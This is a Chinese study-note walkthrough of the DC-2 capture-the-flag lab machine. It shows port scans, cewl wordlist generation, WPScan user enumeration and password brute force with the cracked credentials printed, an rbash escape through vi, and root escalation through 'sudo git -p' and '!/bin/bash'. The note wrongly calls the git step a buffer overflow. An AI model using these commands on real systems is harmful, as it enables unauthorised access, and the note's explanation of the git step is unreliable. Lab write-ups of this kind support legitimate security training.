title: DC-2靶机渗透详解
date: 2022-1-1 23 :38 :36
tags: DC系列靶机
categories: 学习笔记
author: Abyssaler
kali攻击机:192.168.1.103
靶机:192.168.2.102
arp-scan -l
masscan --rate=10000 -p 1-65535 192.168.2.102
,以10000的速率扫描靶机的所有端口
nmap -p 80,7744 -sV -A 192.168.2.102
,对指定端口的服务做综合详细扫描
打不开192.168.2.108:80的原因:没有在本地设置hosts
本地hosts文件位置:C:\Windows\System32\drivers\etc
添加192.168.2.102 dc-2
然后用ipconfig /flushdns
更新dns缓存
查询DNS缓存ipconfig /displaydns
DNS解析顺序 本地DNS缓存>hosts>DNS服务器
之后就能成功访问目标界面了
利用Wappalyzer
插件查看网站信息
发现cms是wordpress
找到flag1
dirsearch -u http://dc-2/ -e*
通过flag1得知要用cewl工具收集网页信息生成密码破解口令字典
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
https://www.freebuf.com/articles/network/190128.html
默认方法
输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:
cewl http://www.ignitetechnologies.in/
保存字典文件
为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:
cewl http://www.ignitetechnologies.in/ -w dict.txt
我们可以使用下列命令查看密码字典是否存储成功,我们的存储路径为/root /dict.txt:
cat dict.txt
生成特定长度的字典
如果你想生成指定长度的密码字典,你可以使用-m选项来设置:
cewl http://www.ignitetechnologies.in/ -m 9
上述命令将生成长度至少为9位的密码,,Cewl对目标网站进行了爬取,并打印出了长度至少为9位的密码
从网站中获取Email
你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:
cewl http://www.ignitetechnologies.in/ -n -e
此时,工具成功在网站中发现了一个Email地址
计算网站字典中重复的单词数量
如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:
cewl http://www.ignitetechnologies.in/ -c
Cewl可以直接统计出目标网站中重复的单词数量
增加爬取深度
如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:
cewl http://www.ignitetechnologies.in/ -d 3
提取调试信息
你可以使用–debug选项来开启调试模式,这样就可以查看网站爬取过程中出现的错误和元数据了:
cewl http://www.ignitetechnologies.in/ --debug
Verbose模式
为了扩展网站爬取结果,并获取更加完整的数据报告,你可以使用-v选项来进入verbose模式。该模式下,Cewl会导出目标网站的详细数据:
cewl http://www.ignitetechnologies.in/ -v
生成包含数字和字符的字典
如果你想生成包含数字和字符的字典文件,你可以在命令中使用–with-numbers选项:
cewl http://testphp.vulnweb.com/ --with-numbers
Cewl摘要/基础认证
如果目标网站需要进行页面登录认证的话,我们就要使用下列参数来绕过页面认证的限制:
–auth_type: Digest or basic.
–auth_user: Authentication username.
–auth_pass: Authentication password.
cewl http://192.168.1.105/dvwa/login.php --auth_type Digest --auth_user admin--auth_pass password -v
或者
cewl http://192.168.1.105/dvwa/login.php --auth_type basic --auth_user admin--auth_pass password -v
接收到的http响应码为200,并成功生成了字典
代理URL
如果目标网站设置了代理服务器的话,Cewl将无法使用默认命令来生成字典。此时你需要使用–proxy option选项来启用代理URL功能:
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/
使用cewl生成字典
cewl http://dc-2 -w de-2.txt
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
https://www.freebuf.com/sectool/174663.html
https://blog.csdn.net/liver100day/article/details/117585795
扫描WordPress站点
我们可以使用–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。输入下列命令开始对服务器进行扫描:
wpscan --url http://dc-2
如果你不知道目标服务器的IP地址,你可以直接输入URL地址。
主题扫描
使用下列命令对主题进行扫描:
wpscan --url http://dc-2 --enumerate t
使用下列命令扫描主题中存在的漏洞:
wpscan --url http://dc-2 --enumerate vt
枚举用户信息
wpscan --url http://dc-2 -e u
插件扫描
插件可以扩展WordPress站点的功能,但很多插件中都存在安全漏洞,而这也会给攻击者提供可乘之机。
我们可以使用下列命令扫描WordPress站点中安装的插件:
wpscan --url http://dc-2 --enumerate p
接下来,我们可以使用下列命令来扫描目标插件中的安全漏洞:
wpscan --url http://dc-2 --enumerate vp
使用wpscan进行暴力破解
wpscan --url http://dc-2 -P /home/liver100day/桌面/dc2_passwords.txt -U /home/liver100day/桌面/dc2_username.txt
命令集合
wpscan --url http://dc-2 --enumerate vp,vt,tt,u
用wpscan收集用户信息
wpscan --url http://dc-2 -e u
枚举用户信息
生成用户名字典
cat >> dc-2-u.txt << end
对http用户进行暴力破解
wpscan --url http://dc-2 -P dc-2.txt
破解成功
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
利用用户信息进行登录
找到flag2
利用破解的账号尝试登录系统
有时候一些程序用户很可能是系统用户
利用ssh进行登录
ssh -p 7744 [email protected]
ssh -p 7744 [email protected]
成功登录tom
发现flag3,但是同时发现很多指令不能使用
一些参考文章
https://xz.aliyun.com/t/7642
https://blog.csdn.net/qq_43168364/article/details/111830233
查看路径搜索变量PATH
echo $PATH
查看还有哪些命令能用
ls /home/tom/usr/bin
用vi打开flag3
vi flag3.txt
打开后输入冒号,在vi编辑器的底部输入逃逸命令!/bin/sh
但是我们直接输会遇到限制,过滤了/
转变思路,用set
设置环境变量
:set shell=/bin/sh
通过set方式设置一个变量,把shell赋值给这个变量
:shell
成功绕过
这里补充下正常Linux进入shell命令行的方法,直接输入/bin/sh
此时发现很多命令仍然不能使用
但可以发现此时提示的是命令没有找到,而不是权限不够,证明我们是能够使用这些命令的,只要路径正确
路径搜索变量PATH变量是Linux系统存储可执行文件搜索路径的地方,等价于Windows系统的Path变量
echo $PATH
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
把变量输出为全局变量
此时就能正常使用命令了
切换到jerry用户
su - jerry
发现jerry只是个普通用户,想办法提权
先找到flag4
通过提示知道了要用git提权
通过sudo -l
查看可利用的指令
发现可以用root权限执行git
这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。
sudo git -p
之后输入
!/bin/bash
这个-p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来进行展示
参考之前的rbash逃逸
或者
sudo git help config
在末行命令模式输入
!/bin/bash 或 !'sh'
完成提权
拿到最终flag